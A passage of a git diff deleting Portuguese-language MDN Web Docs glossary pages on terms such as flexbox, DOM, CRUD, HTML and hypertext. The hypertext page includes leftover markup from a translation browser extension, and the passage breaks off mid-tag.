-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>{{interwiki("wikipedia", "Nova_linha", "Nova linha")}} na Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/cross_axis/index.html b/files/pt-pt/glossary/cross_axis/index.html
deleted file mode 100644
index 2882ed5be8..0000000000
--- a/files/pt-pt/glossary/cross_axis/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Eixo transversal
-slug: Glossary/Cross_Axis
-tags:
- - CSS
- - Glossário
- - flexbox
-translation_of: Glossary/Cross_Axis
-original_slug: Glossário/Eixo_transversal
----
-<p>Numa {{glossary("flexbox")}}, ou eixo transveral é perpendicular ao {{glossary("main axis")}}, o que significa que se a direção for ao longo de uma linha (ou seja, {{cssxref("flex-direction")}} é <code>row</code> ou <code>row-reverse</code>) então o eixo transversal estende-se ao longo das colunas.</p>
-
-<p><img alt="The cross axis runs down the column" src="https://mdn.mozillademos.org/files/15710/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
-
-<p>Se por outro lado a direção for ao longo das colunas ({{cssxref("flex-direction")}} é <code>column</code> or <code>column-reverse</code>) então este eixo estende-se ao longo das linhas.</p>
-
-<p><img alt="The cross axis runs along the row." src="https://mdn.mozillademos.org/files/15711/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
-
-<p>Alinhamento de elementos no eixo transversal faz-se com a propriedade <code>align-items</code> no contentor flexível ou com a propriedade <code>align-self</code> em elementos individuais. No caso de um contentor com várias linhas, que tenha espaço adicional no eixo transversal, pode-se utilizar <code>align-content</code> para controlar o espaçamento das linhas.</p>
-
-<h2 id="Aprender_mais">Aprender mais</h2>
-
-<h3 id="Referência_de_propriedades">Referência de propriedades</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("align-content")}}</li>
- <li>{{cssxref("align-items")}}</li>
- <li>{{cssxref("align-self")}}</li>
- <li>{{cssxref("flex-wrap")}}</li>
- <li>{{cssxref("flex-direction")}}</li>
- <li>{{cssxref("flex")}}</li>
-</ul>
-</div>
-
-<h3 id="Aprofundar">Aprofundar</h3>
-
-<ul>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
-</ul>
-
-<section class="Quick_links" id="Quick_Links">
-<ol>
- <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
-
- <ol>
- <li>{{Glossary("Cross Axis")}}</li>
- <li>{{Glossary("Flex")}}</li>
- <li>{{Glossary("Flex Container")}}</li>
- <li>{{Glossary("Flex Item")}}</li>
- <li>{{Glossary("Grid")}}</li>
- </ol>
- </li>
- <li>Related CSS Properties
- <ol>
- <li>{{cssxref("align-content")}}</li>
- <li>{{cssxref("align-items")}}</li>
- <li>{{cssxref("align-self")}}</li>
- <li>{{cssxref("flex")}}</li>
- <li>{{cssxref("flex-basis")}}</li>
- <li>{{cssxref("flex-direction")}}</li>
- <li>{{cssxref("flex-flow")}}</li>
- <li>{{cssxref("flex-grow")}}</li>
- <li>{{cssxref("flex-shrink")}}</li>
- <li>{{cssxref("flex-wrap")}}</li>
- <li>{{cssxref("justify-content")}}</li>
- <li>{{cssxref("order")}}</li>
- </ol>
- </li>
-</ol>
-</section>
diff --git a/files/pt-pt/glossary/crud/index.html b/files/pt-pt/glossary/crud/index.html
deleted file mode 100644
index 60d0b0bf08..0000000000
--- a/files/pt-pt/glossary/crud/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: CRUD
-slug: Glossary/CRUD
-tags:
- - Glossário
- - Infraestrutura
-translation_of: Glossary/CRUD
-original_slug: Glossário/CRUD
----
-<p><strong>CRUD </strong>(Create, Read, Update, Delete) (em português criação, consulta, atualização e destruição) é um acrónimo para as formas como se pode operar com dados armazenados. É uma mnemónica para as quatro funções básicas de armazenamento persistente.  CRUD refere-se normalmente a operações realizadas numa base de dados ou datastore, mas pode também aplicar-se a funções de nível superior de uma aplicação, tais como soft delete, onde os dados não são realmente apagados, mas marcados como apagados.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Geral_Conhecimento">Geral Conhecimento</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "CRUD")}} on Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/dhtml/index.html b/files/pt-pt/glossary/dhtml/index.html
deleted file mode 100644
index ef3f833b39..0000000000
--- a/files/pt-pt/glossary/dhtml/index.html
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: DHTML
-slug: Glossary/DHTML
-tags:
- - DHTML
- - Todas_as_Categorias
-translation_of: Glossary/DHTML
-original_slug: DHTML
----
-<p><a href="pt/DHTML">DHTML</a> é uma sigla que signfica "dynamic HTML". O termo DHTML é geralmente usado como referência ao código que se encontra por detrás de páginas interactivas que não são baseadas em plugins como Flash ou Java. O termo reúne a funcionalidade combinada que é disponibilizada aos programadores usando <a href="pt/HTML">HTML</a>, <a href="pt/CSS">CSS</a>, <a href="pt/DOM">Document Object Model</a> e <a href="pt/JavaScript">JavaScript</a></p>
diff --git a/files/pt-pt/glossary/dom/index.html b/files/pt-pt/glossary/dom/index.html
deleted file mode 100644
index 7f3233b76c..0000000000
--- a/files/pt-pt/glossary/dom/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: DOM (Modelo de Objeto de Documento)
-slug: Glossary/DOM
-tags:
- - CodingScripting
- - DOM
- - Glossário
-translation_of: Glossary/DOM
-original_slug: Glossário/DOM
----
-<p>O <strong>DOM </strong>(Modelo de Objeto de Documento) é uma {{Glossary("API")}} que representa e interage com qualquer documento de {{Glossary("HTML")}} ou {{Glossary("XML")}}. O DOM é um modelo de documento carregado no {{glossary("navegador")}} e representando o documento como uma árvore de nodo, onde cada nodo representa parte do documento (por exemplo, um  {{Glossary("elemento")}}, <em>string</em> de texto, ou comentário) .</p>
-
-<p>O <em>DOM</em> é uma das {{Glossary("API")}}s mais utilizadas na {{Glossary("World Wide Web","Web")}} porque este permite que cada código em execução num navegador aceda e interaja com cada nodo no documento. Os nodos podem ser criados, movidos e alterados. <em>Listeners</em> de evento podem ser adicionados aos nodos e ativados com a ocorrência de um dado evento.</p>
-
-<p>DOM não foi originalmente especificado -- este apareceu quando os navegadores começaram a implementar o {{Glossary("JavaScript")}}. Este DOM legado é às vezes chamado de DOM<em> 0</em>. Hoje, o WHATWG mantém o Padrão de Especificação DOM.</p>
-
-<h2 id="Saber_mais" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Saber mais</h2>
-
-<h3 id="Conhecimentos_Gerais" style="line-height: 24px; font-size: 1.71428571428571rem;">Conhecimentos Gerais</h3>
-
-<ul>
- <li>{{interwiki("wikipedia", "Modelo de Objeto de Documentos", "DOM")}}</li>
-</ul>
-
-<h3 id="Informação_técnica" style="line-height: 24px; font-size: 1.71428571428571rem;">Informação técnica</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/DOM/DOM_Reference">A documentação DOM na MDN</a></li>
- <li><a href="https://dom.spec.whatwg.org/" rel="external">O Padrão DOM</a> (inglês)</li>
-</ul>
diff --git a/files/pt-pt/glossary/ecma/index.html b/files/pt-pt/glossary/ecma/index.html
deleted file mode 100644
index ca2061a59e..0000000000
--- a/files/pt-pt/glossary/ecma/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: ECMA
-slug: Glossary/ECMA
-tags:
- - Glossário
- - Mecanismos Web
-translation_of: Glossary/ECMA
-original_slug: Glossário/ECMA
----
-<p><strong>Ecma International</strong> (oficialmente <em>Associação Européia dos Fabricantes de Computadores</em>) é uma organização sem fins lucrativos que desenvolve os padrões para hardware de computadores, comunicações e linguagens de programação.</p>
-
-<p>Na web ela é famosa por ser a organização que mantém <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">a especificação ECMA-262</a> (também conhecida por {{Glossary("ECMAScript")}}), que é a especificação núcleo para a linguagem {{Glossary("JavaScript")}}.</p>
-
-<h2 id="Aprenda_mais">Aprenda mais</h2>
-
-<ul>
- <li>{{interwiki("wikipedia", "Ecma_International", "Ecma International")}} na Wikipedia</li>
- <li><a href="http://www.ecma-international.org/">Sítio do Ecma International</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/element/index.html b/files/pt-pt/glossary/element/index.html
deleted file mode 100644
index 99cf652e10..0000000000
--- a/files/pt-pt/glossary/element/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Elemento
-slug: Glossary/Element
-tags:
- - CodingScripting
- - Glossário
- - HTML
-translation_of: Glossary/Element
-original_slug: Glossário/Elemento
----
-<p>Um elemento faz parte de uma página da Web. Em XML e HTML, um elemento pode conter um item de dados ou parte de texto ou uma imagem, ou talvez nada. Um elemento típico inclui uma <em>tag</em> de abertura com alguns atributos, conteúdo de texto fechado e uma <em>tag</em> de fecho.<img alt="Example: in &lt;p class=&quot;nice&quot;>Hello world!&lt;/p>, '&lt;p class=&quot;nice&quot;>' is an opening tag, 'class=&quot;nice&quot;' is an attribute and its value, 'Hello world!' is enclosed text content, and '&lt;/p>' is a closing tag." src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p>
-
-<p>Elementos e <em>tags</em> não são a mesma coisa. <em>Tags</em> começam e terminam um elemento no código fonte, onde os elementos são parte de {{Glossary("DOM")}}, o documento modelo para exibir a página no {{glossary("browser","navegador")}}.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>A interface {{domxref("Element","Elemento")}}, representando um element no DOM.</li>
- <li><a href="/en-US/docs/Web/Guide/HTML/Element">Mais detalhes sobre os elementos</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Custom_Elements">Web_Components/Custom_Elements</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/engine/index.html b/files/pt-pt/glossary/engine/index.html
deleted file mode 100644
index 693e42cbe4..0000000000
--- a/files/pt-pt/glossary/engine/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Motor
-slug: Glossary/Engine
-tags:
- - Codificação
- - Glossário
- - Precisa de Conteúdo
-translation_of: Glossary/Engine
-original_slug: Glossário/Motor
----
-<p>O motor de {{glossary("JavaScript")}} é um interpretador que analisa e executa um programa JavaScript.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "JavaScript engine")}} on Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/entity_header/index.html b/files/pt-pt/glossary/entity_header/index.html
deleted file mode 100644
index b3847c5b9f..0000000000
--- a/files/pt-pt/glossary/entity_header/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Cabeçalho de entidade
-slug: Glossary/Entity_header
-tags:
- - Glossário
- - WebMechanics
-translation_of: Glossary/Entity_header
-original_slug: Glossário/Cabeçalho_de_entidade
----
-<p>Um cabeçalho de entidade é um {{glossary("header", "cabeçalho de HTTP")}} que descreve o conteúdo do corpo da mensagem. Cabeçalhos de entidade são usados em pedidos e respostas de HTTP. Cabeçalhos como {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}} são cabeçalhos de entidade.</p>
-
-<p>Mesmo que os cabeçalhos das entidades não sejam cabeçalhos de pedido ou de resposta, eles são frequentemente incluídos com estes termos.</p>
-
-<p>No seguinte exemplo, {{HTTPHeader("Content-Length")}} é um cabeçalho de entidade, enquanto {{HTTPHeader("Host")}} e {{HTTPHeader("User-Agent")}} são {{glossary("request header", "cabeçalhos de pedido")}}:</p>
-
-<pre class="notranslate">POST /myform.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Content-Length: 128</pre>
-
-<h2 id="Aprender_mais">Aprender mais</h2>
-
-<h3 id="Conhecimento_técnico">Conhecimento técnico</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTTP/Headers">Lista de todos os cabeçalhos de HTTP</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/favicon/index.html b/files/pt-pt/glossary/favicon/index.html
deleted file mode 100644
index b7bb4feec2..0000000000
--- a/files/pt-pt/glossary/favicon/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: Favicon
-slug: Glossary/Favicon
-tags:
- - Glossário
- - Intro
- - favicon
-translation_of: Glossary/Favicon
-original_slug: Glossário/Favicon
----
-<p><span class="seoSummary">Um favicon (do inglês: favorite icon) é um pequeno ícone que acompanha o website, que é visualizado na barra do endereço, guia de páginas e no menu de favoritos. Note, no entanto, que a maior parte dos navegadores modernos substituíram o favicon na barra de endereço por uma imagem, indicando se o site utiliza </span>{{Glossary("https","HTTPS")}}.</p>
-
-<p>Geralmente, um favicon tem o tamanho de 16 x 16 píxeis, nos formatos {{Glossary("GIF")}}, {{Glossary("PNG")}} ou no formato ICO.</p>
-
-<p>São utilizados para melhorar a experiência do utilizador e reforçar a consistência da marca. Quando um ícone familiar é visto, por exemplo, na barra de endereço, ajuda o utilizador a saber que se encontra no lugar certo.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{interwiki("Wikipedia", "Favicon", "Favicon")}} no Wikipedia</li>
-</ul>
-
-<h3 id="Saiba_mais_sobre_isso">Saiba mais sobre isso</h3>
-
-<ul>
- <li><a href="https://favicon.io/">Gerador gratuito de Favicon</a></li>
- <li><a href="https://www.favicon-generator.org/">Favicon.ico e &amp; gerador de icon de aplicacoes</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/flexbox/index.html b/files/pt-pt/glossary/flexbox/index.html
deleted file mode 100644
index 6949c35908..0000000000
--- a/files/pt-pt/glossary/flexbox/index.html
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Flexbox
-slug: Glossary/Flexbox
-tags:
- - CSS
- - Glossário
- - flexbox
-translation_of: Glossary/Flexbox
-original_slug: Glossário/Flexbox
----
-<p>Flexbox é o nome geralmente dado ao Módulo de Layout em Caixa Flexível do CSS (<a href="https://www.w3.org/TR/css-flexbox-1/">CSS Flexible Box Layout Module</a>), um modelo de layout com o propósito de alinhar elementos numa determinada direção — ao longo de uma linha ou de uma coluna.</p>
-
-<p>Na sua especificação, Flexbox é descrito como um modelo de layout para desenho da interface do utilizador. A principal funcionalidade do Flexbox é o facto de os elementos do layout poderem encolher ou crescer. Pode-se especificar quanto espaço cada elemento ocupa ou quanto espaço deve haver entre elementos.</p>
-
-<p>Flexbox permite alinhamento de elementos no eixo principal ou no eixo transversal, e assim permite grande controlo sobre o tamanho e alinhamento de um grupo de elementos.</p>
-
-<h2 id="Aprender_mais">Aprender mais</h2>
-
-<h3 id="Referência_das_propriedades">Referência das propriedades</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("align-content")}}</li>
- <li>{{cssxref("align-items")}}</li>
- <li>{{cssxref("align-self")}}</li>
- <li>{{cssxref("flex")}}</li>
- <li>{{cssxref("flex-basis")}}</li>
- <li>{{cssxref("flex-direction")}}</li>
- <li>{{cssxref("flex-flow")}}</li>
- <li>{{cssxref("flex-grow")}}</li>
- <li>{{cssxref("flex-shrink")}}</li>
- <li>{{cssxref("flex-wrap")}}</li>
- <li>{{cssxref("justify-content")}}</li>
- <li>{{cssxref("order")}}</li>
-</ul>
-</div>
-
-<h3 id="Aprofundar">Aprofundar</h3>
-
-<ul>
- <li><em><a href="https://www.w3.org/TR/css-flexbox-1/">CSS Flexible Box Layout Module Level 1 Specification</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of flexbox to other layout methods</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typical use cases of flexbox</a></em></li>
-</ul>
-
-<section class="Quick_links" id="Quick_Links">
-<ol>
- <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
-
- <ol>
- <li>{{Glossary("Flex")}}</li>
- <li>{{Glossary("Flex Container")}}</li>
- <li>{{Glossary("Flex Item")}}</li>
- <li>{{Glossary("Grid")}}</li>
- </ol>
- </li>
- <li>Propriedades CSS relacionadas
- <ol>
- <li>{{cssxref("align-content")}}</li>
- <li>{{cssxref("align-items")}}</li>
- <li>{{cssxref("align-self")}}</li>
- <li>{{cssxref("flex")}}</li>
- <li>{{cssxref("flex-basis")}}</li>
- <li>{{cssxref("flex-direction")}}</li>
- <li>{{cssxref("flex-flow")}}</li>
- <li>{{cssxref("flex-grow")}}</li>
- <li>{{cssxref("flex-shrink")}}</li>
- <li>{{cssxref("flex-wrap")}}</li>
- <li>{{cssxref("justify-content")}}</li>
- <li>{{cssxref("order")}}</li>
- </ol>
- </li>
-</ol>
-</section>
diff --git a/files/pt-pt/glossary/git/index.html b/files/pt-pt/glossary/git/index.html
deleted file mode 100644
index 6d409b8d1f..0000000000
--- a/files/pt-pt/glossary/git/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Git
-slug: Glossary/Git
-tags:
- - Colaboração
- - Glossário
-translation_of: Glossary/Git
-original_slug: Glossário/Git
----
-<p><strong>Git </strong>é um sistema gratuito, de fonte aberta e distribuído de gestão do código fonte ({{Glossary("SCM", "GCS")}}). Facilita a gestão de bases de código com equipas de desenvolvimento distribuídas. O que o distingue dos sistemas SCM anteriores é a capacidade de fazer operações comuns (criar uma <em>branch</em>, fazer um <em>commit</em>, etc.) na sua máquina de desenvolvimento local, sem ter de alterar o repositório principal ou mesmo ter acesso de escrita a ele.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li><a href="http://git-scm.com/">Site official com documentação (inglês)</a></li>
- <li><a href="https://github.com/">GitHub</a>, uma plataforma de alojamento de projectos gráficos baseado em Git</li>
-</ul>
diff --git a/files/pt-pt/glossary/gzip_compression/index.html b/files/pt-pt/glossary/gzip_compression/index.html
deleted file mode 100644
index 02a5ff637a..0000000000
--- a/files/pt-pt/glossary/gzip_compression/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Compressão GZip
-slug: Glossary/GZip_compression
-tags:
- - Glossário
- - compressão
- - gzip
-translation_of: Glossary/GZip_compression
-original_slug: Glossário/Compressao_GZip
----
-<p>gzip é um algoritmo de compressão que permite reduzir o tamanho dos ficheiros, permitindo transferências mais rápidas na rede. É normalmente suportado pelos servidores da Web e navegadores modernos, o que significa que os servidores podem comprimir automaticamente os ficheiros com o gzip antes de enviá-los, e os navegadores podem descomprimir os ficheiros depois de os receberem.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<ul>
- <li><a href="https://varvy.com/pagespeed/enable-compression.html">Ativar compressão gzip?</a></li>
- <li><a href="https://pt.wikipedia.org/wiki/Gzip">Gzip na Wikipédia</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/html/index.html b/files/pt-pt/glossary/html/index.html
deleted file mode 100644
index 8ed02323a0..0000000000
--- a/files/pt-pt/glossary/html/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: HTML
-slug: Glossary/HTML
-tags:
- - Glossário
- - HTML
- - Programação Scripting
- - l10n:priority
-translation_of: Glossary/HTML
-original_slug: Glossário/HTML
----
-<div>{{QuickLinksWithSubpages("/pt-PT/docs/Glossário")}}</div>
-
-<p>HTML (Linguagem de Marcação de Hipertexto) é uma linguagem descritiva que especifica a estrutura da página da <em>Web</em>.</p>
-
-<h2 id="Breve_história">Breve história</h2>
-
-<p>Em 1990, como parte da sua visão da {{glossary("World Wide Web","Web")}}, Tim Berners-Lee definiu o conceito de {{glossary("hypertext")}}, que Berners-Lee formalizou o ano seguinte através de uma marcação com base principalmente em {{glossary("SGML")}}. O {{glossary("IETF")}} começou a especificar formalmente o HTML em 1993 e depois de vários rascunhos lançaram a versão 2.0 em 1995. Em 1994, Berners-Lee fundou {{glossary("W3C")}} para desenvolver a <em>Web</em>. Em 1996, W3C assumiu o trabalho em HTML e publicou a recomendação HTML 3.2 um ano depois. O HTML 4.0 foi lançado em 1999 e tornou-se um padrão {{glossary("ISO")}} em 2000 .</p>
-
-<p>Naquela época, o W3C quase abandonou HTML em favor de {{glossary("XHTML")}}, levando à fundação de um grupo independente chamado de {{glossary("WHATWG")}} em 2004. Devido a WHATWG, o trabalho em {{glossary("HTML5")}} continuou: as duas organizações lançaram o primeiro rascunho em 2008 e o padrão final em 2014 .</p>
-
-<h2 id="Conceito_e_sintaxe">Conceito e sintaxe</h2>
-
-<p>Um documento HTML é um documento de texto simples estruturado com {{glossary("element","elementos")}}. Os elementos estão rodeados por {{Glossary("tag","etiquetas")}} correspondentes de abertura e fecho. Cada etiqueta começa e termina com parêntesis angulares (<code>&lt;&gt;</code>). Existem algumas etiquetas vazias ou <em>sem validade </em>que não podem incluir qualquer texto, por exemplo {{htmlelement("img")}}.</p>
-
-<p>Pode estender <em>tags</em> HTML com {{Glossary("attribute","atributos")}}, que fornecem informação adicional, afetando o modo como o navegador interpreta o elemento:</p>
-
-<p><img alt="Detail of the structure of an HTML element" src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p>
-
-<p>Um ficheiro HTML é normalmente guardado com uma extensão <code>.htm</code> ou <code>.html</code>, servida por um {{Glossary("Server","Servidor da Web")}}, e pode ser renderizado por qualquer {{Glossary("Browser","navegador da Web")}}.</p>
-
-<h2 id="Saber_mais">Saber mais:</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{interwiki("wikipedia", "HTML", "HTML")}} na Wikipédia</li>
-</ul>
-
-<h3 id="Aprender_HTML">Aprender HTML</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/HTML">O nosso tutorial de HTML</a></li>
- <li><a href="http://www.codecademy.com/en/tracks/web" rel="external">O curso da Web em codecademy.com</a></li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTML">A documentação HTML na MDN</a></li>
- <li><a href="http://www.w3.org/TR/html5/" rel="external">A especificação HTML</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/hypertext/index.html b/files/pt-pt/glossary/hypertext/index.html
deleted file mode 100644
index a9c35ead9a..0000000000
--- a/files/pt-pt/glossary/hypertext/index.html
+++ /dev/null
@@ -1,121 +0,0 @@
----
-title: Hipertexto
-slug: Glossary/Hypertext
-tags:
- - Glossário
- - Mecânica da Web
- - Web
-translation_of: Glossary/Hypertext
-original_slug: Glossário/Hipertexto
----
-<div style="position: absolute; left: -99999px;"><span class="def"><span class="varpt"><span class="word_wrap"><span class="word">Sequência</span></span></span><span class="word_wrap"> <span class="word">de</span> <span class="word">texto</span> <span class="word">que</span> <span class="word">permite</span> <span class="word">a</span> <span class="word">remissão</span> <span class="word">para</span> <span class="word">outra</span> <span class="word">localização</span> (<span class="word">documento</span>, </span><span class="varpt"><span class="word_wrap"><span class="word">ficheiro</span></span></span><span class="word_wrap">, <span class="word">página</span> <span class="word">da</span> <span class="word">Internet</span>, <span class="word">etc</span>.).</span></span>
-<div><br>
-<strong>"hipertexto"</strong>, in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, <a href="https://www.priberam.pt/dlpo/hipertexto">https://www.priberam.pt/dlpo/hipertexto</a> [consultado em 03-12-2017].</div>
-</div>
-
-<p>Hipertexto é o texto que contém as hiperligações para outros textos, em oposição a um único fluxo linear, tal como numa novela.</p>
-
-<div style="position: absolute; left: -99999px;"><span class="def"><span class="varpt"><span class="word_wrap"><span class="word">Sequência</span></span></span><span class="word_wrap"> <span class="word">de</span> <span class="word">texto</span> <span class="word">que</span> <span class="word">permite</span> <span class="word">a</span> <span class="word">remissão</span> <span class="word">para</span> <span class="word">outra</span> <span class="word">localização</span> (<span class="word">documento</span>, </span><span class="varpt"><span class="word_wrap"><span class="word">ficheiro</span></span></span><span class="word_wrap">, <span class="word">página</span> <span class="word">da</span> <span class="word">Internet</span>, <span class="word">etc</span>.).</span></span>
-
-<div><br>
-<strong>"hipertexto"</strong>, in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, <a href="https://www.priberam.pt/dlpo/hipertexto">https://www.priberam.pt/dlpo/hipertexto</a> [consultado em 03-12-2017].</div>
-</div>
-
-<p>O termo foi criado por Ted Nelson, por volta de 1965.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhechimento_Geral">Conhechimento Geral</h3>
-
-<ul>
- <li>{{interwiki("wikipedia", "Hypertext", "Hipertexto")}} na Wikipédia</li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li><a href="http://www.ualberta.ca/dept/chemeng/AIX-43/share/man/info/C/a_doc_lib/aixuser/aix6kdov/hyperv1aix.htm">Base de Informação de Hipertexto </a>(inglês)</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option 